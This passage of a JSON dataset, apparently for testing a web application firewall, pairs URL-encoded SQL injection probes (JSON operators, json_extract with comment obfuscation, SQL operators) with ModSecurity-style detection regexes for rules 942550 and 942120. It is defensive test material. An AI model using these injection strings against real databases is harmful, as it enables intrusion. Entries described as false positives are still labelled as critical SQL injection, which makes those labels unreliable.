"post_body", "value": "id=OR%20%27%5B1%2C2%2C3%5D%27%3A%3Ajson%20-%3E%3E%202%3D%273%27" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|(?:[\\-@]>?|<@|@[\\?@]|\\?(?:(?:)|&|\\|#>)|#(?:>>|-)|->>|[<>])[\\\"'`](?:[\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|\\$[\\.\\[])|\\bjson_extract\\b[^\\(]*\\([^\\)]*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeWhitespace" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942550", "test_description": "JSON in SQL (ARGS)\ndecoded payload: OR '[1,2,3]'::json ->> 2='3'\n" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "id=OR%20%27%7B%22a%22%3A1%7D%27%3A%3Ajsonb%20%23%3E%20%27%7Ba%2Cb%7D%27%20%3F%20%27c%27" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|(?:[\\-@]>?|<@|@[\\?@]|\\?(?:(?:)|&|\\|#>)|#(?:>>|-)|->>|[<>])[\\\"'`](?:[\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|\\$[\\.\\[])|\\bjson_extract\\b[^\\(]*\\([^\\)]*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeWhitespace" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942550", "test_description": "JSON in SQL (ARGS)\ndecoded payload: OR '{\"a\":1}'::jsonb #> '{a,b}' ? 'c'\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "q=OR%20%27%7B%22a%22%3A1%7D%27%3A%3Ajsonb%20%23%3E%20%2F%2A%20Some%20%2A%20comment%20%2A%2F%27%7Ba%2Cb%7D%27%20%3F%20%27c%27" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|(?:[\\-@]>?|<@|@[\\?@]|\\?(?:(?:)|&|\\|#>)|#(?:>>|-)|->>|[<>])[\\\"'`](?:[\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|\\$[\\.\\[])|\\bjson_extract\\b[^\\(]*\\([^\\)]*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeWhitespace" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942550", "test_description": "SQL Comment in payload\ndecoded payload: OR '{\"a\":1}'::jsonb #> /* Some * comment */'{a,b}' ? 'c'\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "q='%7B%22a%22%3A%20%7B%22b%22%3A%20%5B%22foo%22%2C%22bar%22%5D%7D%7D'%3A%3Ajson%20%23%3E%3E%20'%7Ba%2Cb%2C1%7D'" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|(?:[\\-@]>?|<@|@[\\?@]|\\?(?:(?:)|&|\\|#>)|#(?:>>|-)|->>|[<>])[\\\"'`](?:[\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|\\$[\\.\\[])|\\bjson_extract\\b[^\\(]*\\([^\\)]*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeWhitespace" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942550", "test_description": "SQL Comment in payload\ndecoded payload: '{\"a\": {\"b\": [\"foo\",\"bar\"]}}'::json #>> '{a,b,1}'\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "q='%5B%22a%22%2C%20%7B%22b%22%3A1%7D%5D'%3A%3Ajsonb%20%23-%20'%7B1%2Cb%7D'" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|(?:[\\-@]>?|<@|@[\\?@]|\\?(?:(?:)|&|\\|#>)|#(?:>>|-)|->>|[<>])[\\\"'`](?:[\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|\\$[\\.\\[])|\\bjson_extract\\b[^\\(]*\\([^\\)]*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeWhitespace" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942550", "test_description": "SQL Comment in payload\ndecoded payload: '[\"a\", {\"b\":1}]'::jsonb #- '{1,b}'\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "q=how%20was%20your%20day%20today?" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|(?:[\\-@]>?|<@|@[\\?@]|\\?(?:(?:)|&|\\|#>)|#(?:>>|-)|->>|[<>])[\\\"'`](?:[\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|\\$[\\.\\[])|\\bjson_extract\\b[^\\(]*\\([^\\)]*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeWhitespace" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942550", "test_description": "False Positive: Matching ? in natural english\ndecoded payload: how was your day today?\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "q='%7B%22b%22:2%7D'::jsonb%20@%20'%7B%22a%22:1,%20%22b%22:2%7D'::jsonb" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|(?:[\\-@]>?|<@|@[\\?@]|\\?(?:(?:)|&|\\|#>)|#(?:>>|-)|->>|[<>])[\\\"'`](?:[\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|\\$[\\.\\[])|\\bjson_extract\\b[^\\(]*\\([^\\)]*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeWhitespace" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942550", "test_description": "PostgreSQL\ndecoded payload: '{\"b\":2}'::jsonb @ '{\"a\":1, \"b\":2}'::jsonb\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "q='%7B%22a%22:2,%22c%22:%5B4,5,%7B%22f%22:7%7D%5D%7D'%20%3C%20'$.c%5B2%5D.f'%20=%207" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|(?:[\\-@]>?|<@|@[\\?@]|\\?(?:(?:)|&|\\|#>)|#(?:>>|-)|->>|[<>])[\\\"'`](?:[\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|\\$[\\.\\[])|\\bjson_extract\\b[^\\(]*\\([^\\)]*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeWhitespace" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942550", "test_description": "SQLite\ndecoded payload: '{\"a\":2,\"c\":[4,5,{\"f\":7}]}' < '$.c[2].f' = 7\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "q='%7B%22a%22:2,%22c%22:%5B4,5,%7B%22f%22:7%7D%5D%7D'%20%3E%20'$.c%5B2%5D.f'%20=%207" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|(?:[\\-@]>?|<@|@[\\?@]|\\?(?:(?:)|&|\\|#>)|#(?:>>|-)|->>|[<>])[\\\"'`](?:[\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|\\$[\\.\\[])|\\bjson_extract\\b[^\\(]*\\([^\\)]*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeWhitespace" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942550", "test_description": "SQLite\ndecoded payload: '{\"a\":2,\"c\":[4,5,{\"f\":7}]}' > '$.c[2].f' = 7\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "q=SELECT%20id%20FROM%20users%20WHERE%20id=JsoN_EXTraCT/**/(/**/'%20%20%7B%22a%22:1%7D%20%20'/**/,/**/'%20$.a%20'/**/);" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|(?:[\\-@]>?|<@|@[\\?@]|\\?(?:(?:)|&|\\|#>)|#(?:>>|-)|->>|[<>])[\\\"'`](?:[\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|\\$[\\.\\[])|\\bjson_extract\\b[^\\(]*\\([^\\)]*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeWhitespace" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942550", "test_description": "MySQL\ndecoded payload: SELECT id FROM users WHERE id=JsoN_EXTraCT/**/(/**/' {\"a\":1} '/**/,/**/' $.a '/**/);\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "gift_message=%20I%20Love%20you%20%3C3" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|(?:[\\-@]>?|<@|@[\\?@]|\\?(?:(?:)|&|\\|#>)|#(?:>>|-)|->>|[<>])[\\\"'`](?:[\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|\\$[\\.\\[])|\\bjson_extract\\b[^\\(]*\\([^\\)]*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeWhitespace" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942550", "test_description": "False Positive: Matching orphan operator\ndecoded payload: I Love you <3\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "message=Find%20your%20solution%20here%20-%3E%20link" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|(?:[\\-@]>?|<@|@[\\?@]|\\?(?:(?:)|&|\\|#>)|#(?:>>|-)|->>|[<>])[\\\"'`](?:[\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|\\$[\\.\\[])|\\bjson_extract\\b[^\\(]*\\([^\\)]*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeWhitespace" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942550", "test_description": "False Positive: Matching -> sequence\ndecoded payload: Find your solution here -> link\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var=blahblah&var2=LIKE%20NULL" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[!=]=|&&|\\|\\||->|>[=>]|<(?:[<=]|>(?:[\\s\\x0b]+binary)?)|\\b(?:(?:xor|r(?:egexp|like)|i(?:snull|like)|notnull)\\b|collate(?:[^0-9A-Z_a-z]*?(?:U&)?[\\\"'`]|[^0-9A-Z_a-z]+(?:(?:binary|nocase|rtrim)\\b|[0-9A-Z_a-z]*?_))|(?:likel(?:ihood|y)|unlikely)[\\s\\x0b]*\\()|r(?:egexp|like)[\\s\\x0b]+binary|not[\\s\\x0b]+between[\\s\\x0b]+(?:0[\\s\\x0b]+and|(?:'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+and[\\s\\x0b]+(?:'[^']*'|\\\"[^\\\"]*\\\"))|is[\\s\\x0b]+null|like[\\s\\x0b]+(?:null|[0-9A-Z_a-z]+[\\s\\x0b]+escape\\b)|(?:^|[^0-9A-Z_a-z])in[\\s\\x0b\\+]*\\([\\s\\x0b\\\"0-9]+[^\\(\\)]*\\)|[!<->][\\s\\x0b]*all\\b", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942120", "test_description": "SQL Injection Attack: SQL Operator Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=RegExp" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[!=]=|&&|\\|\\||->|>[=>]|<(?:[<=]|>(?:[\\s\\x0b]+binary)?)|\\b(?:(?:xor|r(?:egexp|like)|i(?:snull|like)|notnull)\\b|collate(?:[^0-9A-Z_a-z]*?(?:U&)?[\\\"'`]|[^0-9A-Z_a-z]+(?:(?:binary|nocase|rtrim)\\b|[0-9A-Z_a-z]*?_))|(?:likel(?:ihood|y)|unlikely)[\\s\\x0b]*\\()|r(?:egexp|like)[\\s\\x0b]+binary|not[\\s\\x0b]+between[\\s\\x0b]+(?:0[\\s\\x0b]+and|(?:'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+and[\\s\\x0b]+(?:'[^']*'|\\\"[^\\\"]*\\\"))|is[\\s\\x0b]+null|like[\\s\\x0b]+(?:null|[0-9A-Z_a-z]+[\\s\\x0b]+escape\\b)|(?:^|[^0-9A-Z_a-z])in[\\s\\x0b\\+]*\\([\\s\\x0b\\\"0-9]+[^\\(\\)]*\\)|[!<->][\\s\\x0b]*all\\b", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942120", "test_description": "SQL Injection Attack: SQL Operator Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": ">>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[!=]=|&&|\\|\\||->|>[=>]|<(?:[<=]|>(?:[\\s\\x0b]+binary)?)|\\b(?:(?:xor|r(?:egexp|like)|i(?:snull|like)|notnull)\\b|collate(?:[^0-9A-Z_a-z]*?(?:U&)?[\\\"'`]|[^0-9A-Z_a-z]+(?:(?:binary|nocase|rtrim)\\b|[0-9A-Z_a-z]*?_))|(?:likel(?:ihood|y)|unlikely)[\\s\\x0b]*\\()|r(?:egexp|like)[\\s\\x0b]+binary|not[\\s\\x0b]+between[\\s\\x0b]+(?:0[\\s\\x0b]+and|(?:'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+and[\\s\\x0b]+(?:'[^']*'|\\\"[^\\\"]*\\\"))|is[\\s\\x0b]+null|like[\\s\\x0b]+(?:null|[0-9A-Z_a-z]+[\\s\\x0b]+escape\\b)|(?:^|[^0-9A-Z_a-z])in[\\s\\x0b\\+]*\\([\\s\\x0b\\\"0-9]+[^\\(\\)]*\\)|[!<->][\\s\\x0b]*all\\b", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942120", "test_description": "SQL Injection Attack: SQL Operator Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=%26%26" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[!=]=|&&|\\|\\||->|>[=>]|<(?:[<=]|>(?:[\\s\\x0b]+binary)?)|\\b(?:(?:xor|r(?:egexp|like)|i(?:snull|like)|notnull)\\b|collate(?:[^0-9A-Z_a-z]*?(?:U&)?[\\\"'`]|[^0-9A-Z_a-z]+(?:(?:binary|nocase|rtrim)\\b|[0-9A-Z_a-z]*?_))|(?:likel(?:ihood|y)|unlikely)[\\s\\x0b]*\\()|r(?:egexp|like)[\\s\\x0b]+binary|not[\\s\\x0b]+between[\\s\\x0b]+(?:0[\\s\\x0b]+and|(?:'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+and[\\s\\x0b]+(?:'[^']*'|\\\"[^\\\"]*\\\"))|is[\\s\\x0b]+null|like[\\s\\x0b]+(?:null|[0-9A-Z_a-z]+[\\s\\x0b]+escape\\b)|(?:^|[^0-9A-Z_a-z])in[\\s\\x0b\\+]*\\([\\s\\x0b\\\"0-9]+[^\\(\\)]*\\)|[!<->][\\s\\x0b]*all\\b", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942120", "test_description": "SQL Injection Attack: SQL Operator Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<<" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[!=]=|&&|\\|\\||->|>[=>]|<(?:[<=]|>(?:[\\s\\x0b]+binary)?)|\\b(?:(?:xor|r(?:egexp|like)|i(?:snull|like)|notnull)\\b|collate(?:[^0-9A-Z_a-z]*?(?:U&)?[\\\"'`]|[^0-9A-Z_a-z]+(?:(?:binary|nocase|rtrim)\\b|[0-9A-Z_a-z]*?_))|(?:likel(?:ihood|y)|unlikely)[\\s\\x0b]*\\()|r(?:egexp|like)[\\s\\x0b]+binary|not[\\s\\x0b]+between[\\s\\x0b]+(?:0[\\s\\x0b]+and|(?:'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+and[\\s\\x0b]+(?:'[^']*'|\\\"[^\\\"]*\\\"))|is[\\s\\x0b]+null|like[\\s\\x0b]+(?:null|[0-9A-Z_a-z]+[\\s\\x0b]+escape\\b)|(?:^|[^0-9A-Z_a-z])in[\\s\\x0b\\+]*\\([\\s\\x0b\\\"0-9]+[^\\(\\)]*\\)|[!<->][\\s\\x0b]*all\\b", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942120", "test_description": "SQL Injection Attack: SQL Operator Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "%21%3D" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[!=]=|&&|\\|\\||->|>[=>]|<(?:[<=]|>(?:[\\s\\x0b]+binary)?)|\\b(?:(?:xor|r(?:egexp|like)|i(?:snull|like)|notnull)\\b|collate(?:[^0-9A-Z_a-z]*?(?:U&)?[\\\"'`]|[^0-9A-Z_a-z]+(?:(?:binary|nocase|rtrim)\\b|[0-9A-Z_a-z]*?_))|(?:likel(?:ihood|y)|unlikely)[\\s\\x0b]*\\()|r(?:egexp|like)[\\s\\x0b]+binary|not[\\s\\x0b]+between[\\s\\x0b]+(?:0[\\s\\x0b]+and|(?:'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+and[\\s\\x0b]+(?:'[^']*'|\\\"[^\\\"]*\\\"))|is[\\s\\x0b]+null|like[\\s\\x0b]+(?:null|[0-9A-Z_a-z]+[\\s\\x0b]+escape\\b)|(?:^|[^0-9A-Z_a-z])in[\\s\\x0b\\+]*\\([\\s\\x0b\\\"0-9]+[^\\(\\)]*\\)|[!<->][\\s\\x0b]*all\\b", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942120", "test_description": "SQL Injection Attack: SQL Operator Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "||" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[!=]=|&&|\\|\\||->|>[=>]|<(?:[<=]|>(?:[\\s\\x0b]+binary)?)|\\b(?:(?:xor|r(?:egexp|like)|i(?:snull|like)|notnull)\\b|collate(?:[^0-9A-Z_a-z]*?(?:U&)?[\\\"'`]|[^0-9A-Z_a-z]+(?:(?:binary|nocase|rtrim)\\b|[0-9A-Z_a-z]*?_))|(?:likel(?:ihood|y)|unlikely)[\\s\\x0b]*\\()|r(?:egexp|like)[\\s\\x0b]+binary|not[\\s\\x0b]+between[\\s\\x0b]+(?:0[\\s\\x0b]+and|(?:'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+and[\\s\\x0b]+(?:'[^']*'|\\\"[^\\\"]*\\\"))|is[\\s\\x0b]+null|like[\\s\\x0b]+(?:null|[0-9A-Z_a-z]+[\\s\\x0b]+escape\\b)|(?:^|[^0-9A-Z_a-z])in[\\s\\x0b\\+]*\\([\\s\\x0b\\\"0-9]+[^\\(\\)]*\\)|[!<->][\\s\\x0b]*all\\b", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942120", "test_description": "SQL Injection Attack: SQL Operator Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "XOR" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[!=]=|&&|\\|\\||->|>[=>]|<(?:[<=]|>(?:[\\s\\x0b]+binary)?)|\\b(?:(?:xor|r(?:egexp|like)|i(?:snull|like)|notnull)\\b|collate(?:[^0-9A-Z_a-z]*?(?:U&)?[\\\"'`]|[^0-9A-Z_a-z]+(?:(?:binary|nocase|rtrim)\\b|[0-9A-Z_a-z]*?_))|(?:likel(?:ihood|y)|unlikely)[\\s\\x0b]*\\()|r(?:egexp|like)[\\s\\x0b]+binary|not[\\s\\x0b]+between[\\s\\x0b]+(?:0[\\s\\x0b]+and|(?:'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+and[\\s\\x0b]+(?:'[^']*'|\\\"[^\\\"]*\\\"))|is[\\s\\x0b]+null|like[\\s\\x0b]+(?:null|[0-9A-Z_a-z]+[\\s\\x0b]+escape\\b)|(?:^|[^0-9A-Z_a-z])in[\\s\\x0b\\+]*\\([\\s\\x0b\\\"0-9]+[^\\(\\)]*\\)|[!<->][\\s\\x0b]*all\\b", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942120", "test_description": "SQL Injection Attack: SQL Operator Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=%3C%3D" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": 